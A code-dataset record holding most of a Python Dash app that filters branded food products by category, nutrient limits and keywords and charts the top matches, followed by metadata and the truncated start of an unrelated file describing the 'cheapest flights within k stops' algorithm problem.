callback.\r\n id='cat_stats',\r\n style={'border': '1px solid brown', 'background':'#eaeec6'}\r\n ),\r\n html.Br()\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={'size':2, 'order':3}\r\n ),\r\n\r\n dbc.Col(\r\n html.Div( # Contains three dropdown menus for nutrient preferences.\r\n [\r\n html.H5('Filter Nutrients'),\r\n\r\n dcc.Dropdown(\r\n id='dropdown_nutrient', \r\n options=[\r\n {'label': 'Calories', 'value': 'Energy'},\r\n {'label': 'Sugars', 'value': 'Sugars, total including NLEA'},\r\n {'label': 'Fat', 'value': 'Total lipid (fat)'},\r\n {'label': 'Protein', 'value': 'Protein'},\r\n {'label': 'Fiber', 'value': 'Fiber, total dietary'},\r\n {'label': 'Folic acid', 'value': 'Folic acid'}\r\n ]\r\n ),\r\n\r\n html.Br(),\r\n\r\n dcc.Dropdown(\r\n id='dropdown_nutrient_2', \r\n options=[\r\n {'label': 'Calories', 'value': 'Energy'},\r\n {'label': 'Sugars', 'value': 'Sugars, total including NLEA'},\r\n {'label': 'Fat', 'value': 'Total lipid (fat)'},\r\n {'label': 'Protein', 'value': 'Protein'},\r\n {'label': 'Fiber', 'value': 'Fiber, total dietary'},\r\n {'label': 'Folic acid', 'value': 'Folic acid'}\r\n ]\r\n ),\r\n\r\n html.Br(),\r\n\r\n dcc.Dropdown(\r\n id='dropdown_nutrient_3', \r\n options=[\r\n {'label': 'Calories', 'value': 'Energy'},\r\n {'label': 'Sugars', 'value': 'Sugars, total including NLEA'},\r\n {'label': 'Fat', 'value': 'Total lipid (fat)'},\r\n {'label': 'Protein', 'value': 'Protein'},\r\n {'label': 'Fiber', 'value': 'Fiber, total dietary'},\r\n {'label': 'Folic acid', 'value': 'Folic acid'}\r\n ]\r\n ),\r\n\r\n html.Br(style={'margin': '3px'})\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={\"size\": 1, \"order\": 4, \"offset\": 0},\r\n ),\r\n \r\n dbc.Col(\r\n html.Div( # Contains three min/max radio items, one for each nutrient dropdown menu.\r\n [\r\n html.H5('Method'),\r\n\r\n dcc.RadioItems(\r\n id='radio_min_max',\r\n options=[\r\n {'label': 'Min', 'value': 'min'},\r\n {'label': 'Max', 'value': 'max'}\r\n ],\r\n value='min',\r\n labelStyle={'display': 'inline-block', 'margin-left':'20px'},\r\n inputStyle={\"margin-right\": \"5px\"}\r\n ),\r\n\r\n html.Br(style={'margin': '3px'}),\r\n\r\n dcc.RadioItems(\r\n id='radio_min_max_2',\r\n options=[\r\n {'label': 'Min', 'value': 'min'},\r\n {'label': 'Max', 'value': 'max'}\r\n ],\r\n value='min',\r\n labelStyle={'display': 'inline-block', 'margin-left':'20px'},\r\n inputStyle={\"margin-right\": \"5px\"}\r\n ),\r\n\r\n html.Br(style={'margin': '6px'}),\r\n\r\n dcc.RadioItems(\r\n id='radio_min_max_3',\r\n options=[\r\n {'label': 'Min', 'value': 'min'},\r\n {'label': 'Max', 'value': 'max'}\r\n ],\r\n value='min',\r\n labelStyle={'display': 'inline-block', 'margin-left':'20px'},\r\n inputStyle={\"margin-right\": \"5px\"}\r\n ),\r\n\r\n html.Br() \r\n\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={\"size\": 1, \"order\": 5, \"offset\": 0},\r\n ),\r\n\r\n dbc.Col(\r\n html.Div( # Contains three numeric inputs, one for each nutrient dropdown.\r\n [\r\n html.H5('Set amounts'),\r\n\r\n daq.NumericInput(\r\n id='min_max_amount',\r\n min=0,\r\n max=1000,\r\n size=80,\r\n value=0\r\n ),\r\n\r\n html.Br(style={'margin': '1px'}),\r\n\r\n daq.NumericInput(\r\n id='min_max_amount_2',\r\n min=0,\r\n max=1000,\r\n size=80,\r\n value=0\r\n ),\r\n\r\n html.Br(style={'margin': '1px'}),\r\n\r\n daq.NumericInput(\r\n id='min_max_amount_3',\r\n min=0,\r\n max=1000,\r\n size=80,\r\n value=0\r\n ),\r\n\r\n html.Br()\r\n\r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={\"size\": 1, \"order\": 6, \"offset\": 0},\r\n ),\r\n\r\n dbc.Col(\r\n html.Div( # Contains the ingredient keyword input and the description keyword input.\r\n [\r\n html.H5('Ingredient keyword'),\r\n\r\n dcc.Input(\r\n id='ingred_kw'\r\n ),\r\n\r\n html.Br(),\r\n html.Br(),\r\n html.Br(),\r\n html.Br(),\r\n\r\n html.H5('Description keyword'),\r\n\r\n dcc.Input(\r\n id='desc_kw'\r\n ),\r\n\r\n html.Br(),\r\n html.Br() \r\n ],\r\n style={'background-color':'#eaeec6'}\r\n ),\r\n width={'size':2, 'order':7}\r\n ),\r\n\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.Button( \r\n id='button', \r\n n_clicks = 0,\r\n style={\r\n 'background-color': 'transparent',\r\n 'height': '218px',\r\n 'width': '175px',\r\n 'font-size': '26px'\r\n },\r\n hidden=True\r\n )\r\n ],\r\n style={'background-image': 'url(/assets/SeeResults.png)'}\r\n ),\r\n width={'size':1, 'order':8}\r\n )\r\n\r\n ],\r\n no_gutters=True, # reduces the space between the columns.\r\n align='start',\r\n ),\r\n \r\n dbc.Row( # The fourth row contains the presentation of the results: one table and one graph.\r\n [\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.Div(\r\n [\r\n html.H4('Results'), \r\n html.H6('(ordered by lowest amount of unfavourable nutrients | nutrient amounts are per 100g)')\r\n ]\r\n ),\r\n\r\n dash_table.DataTable( # The table contains all the products that match the provided preferences.\r\n id='table_data',\r\n style_cell={\r\n 'whiteSpace': 'normal',\r\n 'height': 'auto',\r\n 'textAlign': 'left', \r\n 'border': '1px solid brown'\r\n },\r\n style_header={\r\n 'backgroundColor':'#eaeec6',\r\n 'fontWeight': 'bold'\r\n },\r\n style_table={\r\n 'height':'500px', \r\n 'overflowY': 'auto'\r\n },\r\n style_cell_conditional=[\r\n {'if': {'column_id': 'Ingredients'},\r\n 'width': '35%'}\r\n ]\r\n )\r\n ]\r\n ),\r\n width={'size':6, 'offset':0}\r\n ),\r\n dbc.Col(\r\n html.Div(\r\n [\r\n html.H4('Comparison of the Top Results'),\r\n\r\n html.Br(),\r\n\r\n dcc.Graph( # The graph compares the top results.\r\n id='main_graph')\r\n ]\r\n ),\r\n width={'size':6, 'offset':0}\r\n ),\r\n\r\n dbc.Modal( # This modal pops up when there are no products that match the given preferences.\r\n [\r\n dbc.ModalHeader(\"Alert!\"),\r\n dbc.ModalBody(\"No products match the specified filters.\"),\r\n dbc.ModalFooter(\r\n dbc.Button(\"Close\", id=\"close_modal\", className=\"ml-auto\", n_clicks=0)\r\n ),\r\n ],\r\n id=\"modal\",\r\n ),\r\n ]\r\n \r\n )\r\n \r\n ],\r\n)\r\n\r\n@app.callback( # Adjusts the available options of the Sub-Category dropdown based on the selection of the Main Category.\r\n Output('cat_dropdown', 'options'),\r\n Input('radio_menu', 'value')\r\n)\r\n\r\ndef update_subcat_options(main_cat):\r\n\r\n if not pd.isnull(main_cat):\r\n\r\n return [{'label': i, 'value': i} for i in all_options[main_cat]]\r\n\r\n else:\r\n\r\n return [{'label':j, 'value':j} for j in df.SubCategory.dropna().unique()]\r\n\r\n@app.callback( # Adjusts the available options of the Category dropdown based on the selection of the Sub-Category.\r\n Output('subcat_dropdown', 'options'),\r\n Input('cat_dropdown', 'value')\r\n)\r\n\r\ndef update_subcat_options(sub_cat):\r\n\r\n if not pd.isnull(sub_cat):\r\n\r\n return [{'label': i, 'value': i} for i in all_options_sub[sub_cat]]\r\n\r\n else:\r\n\r\n return [{'label':j, 'value':j} for j in df.branded_food_category.dropna().unique()]\r\n\r\n@app.callback( # Enables the \"See Results\" button and fills the category analysis table.\r\n Output('button', 'hidden'),\r\n Output('cat_stats', 'children'),\r\n Output('table_title', 'children'),\r\n Input('subcat_dropdown', 'value')\r\n)\r\n\r\ndef enable_button(sbcat_selection):\r\n\r\n if not pd.isnull(sbcat_selection): # Means a category has been selected, therefore the button should be shown, and the table filled.\r\n\r\n # First, preparing the statistics that will be included in the table of the Category analysis.\r\n df_subcat = df.loc[(df.branded_food_category == sbcat_selection), :]\r\n\r\n df_subcat.loc[:, 'Calories'] = df_subcat['nutr_amnt'].apply(lambda x: x['Energy'][0] if 'Energy' in x.keys() else 0)\r\n df_subcat.loc[:, 'Protein'] = df_subcat['nutr_amnt'].apply(lambda x: x['Protein'][0] if 'Protein' in x.keys() else 0)\r\n df_subcat.loc[:, 'Fiber'] = df_subcat['nutr_amnt'].apply(lambda x: x['Fiber, total dietary'][0] if 'Fiber, total dietary' in x.keys() else 0)\r\n df_subcat.loc[:, 'Sugars'] = df_subcat['nutr_amnt'].apply(lambda x: x['Sugars, total including NLEA'][0] if 'Sugars, total including NLEA' in x.keys() else 0)\r\n df_subcat.loc[:, 'Fat'] = df_subcat['nutr_amnt'].apply(lambda x: x['Total lipid (fat)'][0] if 'Total lipid (fat)' in x.keys() else 0)\r\n \r\n df_subcat = df_subcat[['Calories', 'Protein', 'Fiber', 'Sugars', 'Fat']]\r\n df_subcat_agg = df_subcat.agg(['mean', 'median', 'std', 'max', 'min']).round(1).reset_index().rename(columns={'index':'stat'})\r\n\r\n # Creating the children of the html.Table element.\r\n table_children = [\r\n html.Tr(\r\n [html.Th(col, style={'border': '1px solid brown'}) for col in df_subcat_agg.columns]\r\n )\r\n ] \r\n table_children.extend(\r\n [\r\n html.Tr(\r\n [html.Td(df_subcat_agg.iloc[i][col], style={'border': '1px solid brown'}) for col in df_subcat_agg.columns]\r\n ) for i in range(len(df_subcat_agg))\r\n ]\r\n )\r\n\r\n return False, table_children, sbcat_selection\r\n\r\n else: # Means a category has not been selected yet, therefore the button should be hidden. The table is filled with zeros.\r\n empty_table = df.loc[:2, :]\r\n\r\n empty_table.loc[:, 'Calories'] = empty_table['nutr_amnt'].apply(lambda x: x['Energy'][0] if 'Energy' in x.keys() else 0)\r\n empty_table.loc[:, 'Protein'] = empty_table['nutr_amnt'].apply(lambda x: x['Protein'][0] if 'Protein' in x.keys() else 0)\r\n empty_table.loc[:, 'Fiber'] = empty_table['nutr_amnt'].apply(lambda x: x['Fiber, total dietary'][0] if 'Fiber, total dietary' in x.keys() else 0)\r\n empty_table.loc[:, 'Sugars'] = empty_table['nutr_amnt'].apply(lambda x: x['Sugars, total including NLEA'][0] if 'Sugars, total including NLEA' in x.keys() else 0)\r\n empty_table.loc[:, 'Fat'] = empty_table['nutr_amnt'].apply(lambda x: x['Total lipid (fat)'][0] if 'Total lipid (fat)' in x.keys() else 0)\r\n\r\n empty_table = empty_table.loc[:,['Calories', 'Protein', 'Fiber', 'Sugars', 'Fat']]\r\n empty_table = empty_table.agg(['mean', 'median', 'std', 'max', 'min']).round().reset_index().rename(columns={'index':'stat'})\r\n\r\n empty_table_children= [\r\n html.Tr(\r\n [html.Th(col, style={'border': '1px solid brown'}) for col in empty_table.columns]\r\n )\r\n ] \r\n empty_table_children.extend(\r\n [\r\n html.Tr(\r\n [html.Td(0, style={'border': '1px solid brown'}) for col in empty_table.columns]\r\n ) for i in range(len(empty_table))\r\n ]\r\n )\r\n\r\n return True, empty_table_children, 'Category Analysis'\r\n\r\n@app.callback( # Main callback, controls the results table, the graph and the modal. It's activated when the \"See Results\" button is clicked.\r\n Output('table_data', 'data'),\r\n Output('table_data', 'columns'),\r\n Output('main_graph', 'figure'),\r\n Output('modal', 'is_open'),\r\n [Input('button', 'n_clicks'), Input('close_modal', 'n_clicks')],\r\n [\r\n State('subcat_dropdown', 'value'),\r\n State('dropdown_nutrient', 'value'),\r\n State('dropdown_nutrient_2', 'value'),\r\n State('dropdown_nutrient_3', 'value'),\r\n State('radio_min_max', 'value'),\r\n State('radio_min_max_2', 'value'),\r\n State('radio_min_max_3', 'value'),\r\n State('min_max_amount', 'value'),\r\n State('min_max_amount_2', 'value'),\r\n State('min_max_amount_3', 'value'),\r\n State('ingred_kw', 'value'),\r\n State('desc_kw', 'value')\r\n ]\r\n)\r\n\r\ndef update_table(n_clicks, n_clicks_close_modal, category, nutr1, nutr2, nutr3, min_max1, min_max2, min_max3, amnt1, amnt2, amnt3, ingred_kw, desc_kw):\r\n \r\n cols = ['description', 'ingredients', 'brand_owner', 'calories', 'sugars', 'fat', 'protein', 'fiber', 'folic_acid', 'bad_nutrients']\r\n formal_cols = ['Description', 'Ingredients', 'Company', 'Calories (kcal)', 'Sugars (g)',\r\n 'Fat (g)', 'Protein (g)', 'Fiber (g)', 'Folic acid (μg)', 'Unfavourable nutrients']\r\n\r\n if n_clicks != 0: # The button is clicked.\r\n\r\n # The following if statements check how many of the three nutrient preference inputs have been filled.\r\n # If the second is filled, then the third is checked. If the third is not filled, only the first two are considered.\r\n # If the second is not filled, then the first is checked. If neither the first is filled, no nutrient preferences are considered.\r\n # The trys and excepts are used to catch errors of processing an empty dataframe in case of no matching products.\r\n\r\n if not pd.isnull(nutr2):\r\n \r\n if not pd.isnull(nutr3): # All three are filled.\r\n test = find_products(\r\n data_frame=df, \r\n branded_food_cat = category, \r\n nutrient_prefs=[(nutr1, min_max1, amnt1), (nutr2, min_max2, amnt2), (nutr3, min_max3, amnt3)],\r\n desc_kw=desc_kw,\r\n ingred_kw=ingred_kw)\r\n\r\n try:\r\n test = test[cols]\r\n test = test.rename(columns=dict(zip(cols, formal_cols))).sort_values(by='Unfavourable nutrients', ascending=True)\r\n\r\n data = test.to_dict('records')\r\n columns = [{\"name\": i, \"id\": i} for i in test.columns]\r\n\r\n except:\r\n pass\r\n\r\n else: # First and second are filled.\r\n\r\n test = find_products(\r\n data_frame=df,\r\n branded_food_cat = category, \r\n nutrient_prefs=[(nutr1, min_max1, amnt1), (nutr2, min_max2, amnt2)],\r\n desc_kw=desc_kw,\r\n ingred_kw=ingred_kw)\r\n\r\n try:\r\n test = test[cols]\r\n test = test.rename(columns=dict(zip(cols, formal_cols))).sort_values(by='Unfavourable nutrients', ascending=True)\r\n\r\n\r\n data = test.to_dict('records')\r\n columns = [{\"name\": i, \"id\": i} for i in test.columns]\r\n\r\n except:\r\n pass\r\n\r\n elif not pd.isnull(nutr1): # Only the first is filled.\r\n\r\n test = find_products(\r\n data_frame=df, \r\n branded_food_cat = category, \r\n nutrient_prefs=[(nutr1, min_max1, amnt1)],\r\n desc_kw=desc_kw,\r\n ingred_kw=ingred_kw)\r\n try:\r\n test = test[cols]\r\n test = test.rename(columns=dict(zip(cols, formal_cols))).sort_values(by='Unfavourable nutrients', ascending=True)\r\n\r\n\r\n data = test.to_dict('records')\r\n columns = [{\"name\": i, \"id\": i} for i in test.columns]\r\n\r\n except:\r\n pass\r\n\r\n else:\r\n\r\n test = df[df.branded_food_category == category]\r\n\r\n try:\r\n test = test[cols]\r\n test = test.rename(columns=dict(zip(cols, formal_cols))).sort_values(by='Unfavourable nutrients', ascending=True)\r\n\r\n\r\n data = test.to_dict('records')\r\n columns = [{\"name\": i, \"id\": i} for i in test.columns]\r\n\r\n except:\r\n pass \r\n\r\n if not len(test) > 0: # No matching products. Modal must pop up.\r\n\r\n modal_open = True\r\n\r\n global modal_clicks\r\n\r\n if n_clicks_close_modal > modal_clicks: # Making the \"close\" button of the modal functional.\r\n\r\n modal_open = False\r\n modal_clicks += 1\r\n\r\n return data, columns, {}, modal_open\r\n\r\n n_products = min(5, len(test)) # Comparing 5 products at most.\r\n avg_cat = df.groupby('branded_food_category')[['calories', 'protein', 'fiber', 'sugars', 'fat', 'folic_acid']].mean()\r\n\r\n # Creating a dictionary that will serve as the source of the visualization dataframe.\r\n # The 'names' control are prepared in such a way as to be suitable for the plot legend.\r\n d = {'names': [f'{i}. ' + name + ' - ' + brand for i, name, brand in zip(range(1, n_products+1), test.Description.fillna('-').values[:n_products], test.Company.fillna('-').values[:n_products])] + [category + ' average'],\r\n 'Calories (kcal)': [calorie for calorie in test['Calories (kcal)'].values[:n_products]] + [avg_cat.loc[category, :].calories],\r\n 'Protein (g)': [prot for prot in test['Protein (g)'].values[:n_products]] + [avg_cat.loc[category, :].protein],\r\n 'Fiber (g)': [fiber for fiber in test['Fiber (g)'].values[:n_products]] + [avg_cat.loc[category, :].fiber],\r\n 'Sugars (g)': [sugar for sugar in test['Sugars (g)'].values[:n_products]] + [avg_cat.loc[category, :].sugars],\r\n 'Fat (g)' : [fat for fat in test['Fat (g)'].values[:n_products]] + [avg_cat.loc[category, :].fat],\r\n 'Folic acid (μg)': [folic for folic in test['Folic acid (μg)'].values[:n_products]] + [avg_cat.loc[category, :]['folic_acid']]\r\n }\r\n\r\n # Creating the visualization dataframe from the previous dictionary.\r\n # Using pd.melt() to unpivot the data and make it more suitable for the px.bar function.\r\n viz_df = pd.melt(pd.DataFrame(d), id_vars='names', value_vars=['Calories (kcal)', 'Protein (g)', 'Fiber (g)', 'Sugars (g)', 'Fat (g)', 'Folic acid (μg)'])\r\n col_seq = ['#333131', '#615F5F', '#878686', '#A29F9F', '#C4C2C2', '#FF6666'] # Color sequences of the barplot.\r\n\r\n fig = px.bar(data_frame= viz_df, x='names', y='value', facet_col='variable', \r\n color='names', labels={'names':'', 'value':''}, \r\n #title= 'Product Comparison' + ' - ' ,\r\n facet_col_spacing=0.05, height=600,\r\n facet_col_wrap=3, facet_row_spacing=0.15, color_discrete_sequence=col_seq[:n_products]+[col_seq[-1]])\r\n\r\n fig.update_yaxes(matches=None, showticklabels=True)\r\n fig.update_xaxes(showticklabels=False)\r\n fig.update_layout(legend = dict(yanchor='top', y=1.1+n_products/7, xanchor='left', x=0))\r\n fig.for_each_annotation(lambda a: a.update(text=a.text.replace(\"variable=\", \"\")))\r\n\r\n modal_open = False \r\n\r\n return data, columns, fig, modal_open\r\n\r\n else: # The initial state of the table and the graph. When the app opens, they are both empty.\r\n\r\n empty_cols = [{\"name\": i, \"id\": i} for i in df[cols].rename(columns=dict(zip(cols, formal_cols))).columns]\r\n d = [dict(zip(formal_cols, ['' for i in range(len(formal_cols))]))]\r\n\r\n return d, empty_cols, {}, False\r\n\r\nif __name__ == \"__main__\":\r\n app.run_server(debug=True)", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 30889, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "dash_bootstrap_components.themes", "line_number": 12, "usage_type": "attribute"}, {"api_name": "dash.Dash", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pandas.isnull", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 23, "usage_type": "attribute"}, {"api_name": "dash_html_components.Div", "line_number": 58, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 60, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 63, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 64, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 66, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 74, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 76, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 77, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 79, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 85, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 86, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 88, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 97, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 99, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 100, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 102, "usage_type": "call"}, {"api_name": "dash_core_components.RadioItems", "line_number": 103, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 115, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 116, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 118, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 119, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 124, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 125, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 127, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 128, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 133, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 140, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 141, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 143, "usage_type": "call"}, {"api_name": "dash_html_components.Table", "line_number": 144, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 148, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 155, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 156, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 158, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 160, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 172, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 174, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 186, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 188, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 200, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 207, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 208, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 210, "usage_type": "call"}, {"api_name": "dash_core_components.RadioItems", "line_number": 212, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 223, "usage_type": "call"}, {"api_name": "dash_core_components.RadioItems", "line_number": 225, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 236, "usage_type": "call"}, {"api_name": "dash_core_components.RadioItems", "line_number": 238, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 249, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 257, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 258, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 260, "usage_type": "call"}, {"api_name": "dash_daq.NumericInput", "line_number": 262, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 270, "usage_type": "call"}, {"api_name": "dash_daq.NumericInput", "line_number": 272, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 280, "usage_type": "call"}, {"api_name": "dash_daq.NumericInput", "line_number": 282, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 290, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 298, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 299, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 301, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 303, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 307, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 308, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 309, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 310, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 312, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 314, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 318, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 319, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 326, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 327, "usage_type": "call"}, {"api_name": "dash_html_components.Button", "line_number": 329, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Row", "line_number": 351, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 353, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 354, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 356, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 358, "usage_type": "call"}, {"api_name": "dash_html_components.H6", "line_number": 359, "usage_type": "call"}, {"api_name": "dash_table.DataTable", "line_number": 363, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Col", "line_number": 388, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 389, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 391, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 393, "usage_type": "call"}, {"api_name": "dash_core_components.Graph", "line_number": 395, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Modal", "line_number": 402, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.ModalHeader", "line_number": 404, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.ModalBody", "line_number": 405, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.ModalFooter", "line_number": 406, "usage_type": "call"}, {"api_name": "dash_bootstrap_components.Button", "line_number": 407, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 426, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 420, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 421, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 441, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 435, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 436, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 458, "usage_type": "call"}, {"api_name": "dash_html_components.Tr", "line_number": 474, "usage_type": "call"}, {"api_name": "dash_html_components.Th", "line_number": 475, "usage_type": "call"}, {"api_name": "dash_html_components.Tr", "line_number": 480, "usage_type": "call"}, {"api_name": "dash_html_components.Td", "line_number": 481, "usage_type": "call"}, {"api_name": "dash_html_components.Tr", "line_number": 501, "usage_type": "call"}, {"api_name": "dash_html_components.Th", "line_number": 502, "usage_type": "call"}, {"api_name": "dash_html_components.Tr", "line_number": 507, "usage_type": "call"}, {"api_name": "dash_html_components.Td", "line_number": 508, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 450, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 451, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 452, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 453, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 550, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 552, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 590, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 653, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 653, "usage_type": "call"}, {"api_name": "plotly.express.bar", "line_number": 656, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 656, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 516, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 517, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 518, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 519, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 520, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 522, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 523, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 524, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 525, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 526, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 527, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 528, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 529, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 530, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 531, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 532, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 533, "usage_type": "call"}]} +{"seq_id": "423178726", "text": "# Time: O((|E| + |V|) * log|V|) = O(|E| * log|V|),\n# if we can further to use Fibonacci heap, it would be O(|E| + |V| * log|V|)\n# Space: O(|E| + |V|) = O(|E|)\n\n# 787\n# There are n cities connected by m flights. Each fight starts from city u and arrives at v with a price w.\n#\n# Now given all the cities and fights, together with starting city src and the destination dst,\n# your task is to find the cheapest price from src to dst with up to k stops.\n# If there is no such route, output -1.\n#\n# Example 1:\n# Input:\n# n = 3, edges = [[0,1,100],[1,2,100],[0,2,500]]\n# src = 0, dst = 2, k = 1\n# Output: 200\n# Explanation:\n# The cheapest price from city 0 to city 2 with at most 1 stop costs 200, as marked red in the picture.\n#\n# Example 2:\n# Input:\n# n = 3, edges = [[0,1,100],[1,2,100],[0,2,500]]\n# src = 0, dst = 2, k = 0\n# Output: 500\n#\n# Explanation:\n# The cheapest price from city 0 to city 2 with at most 0 stop costs 500, as marked blue in the picture.\n# Note:\n# - The number of nodes n will be in range [1, 100], with nodes labeled from 0 to n - 1.\n# - The size of flights will be in range [0, n * (n - 1) / 2].\n# - The format of each flight will be (src, dst, price).\n# - The price of each flight will be in the range [1, 10000].\n# - k is in the range of [0, n 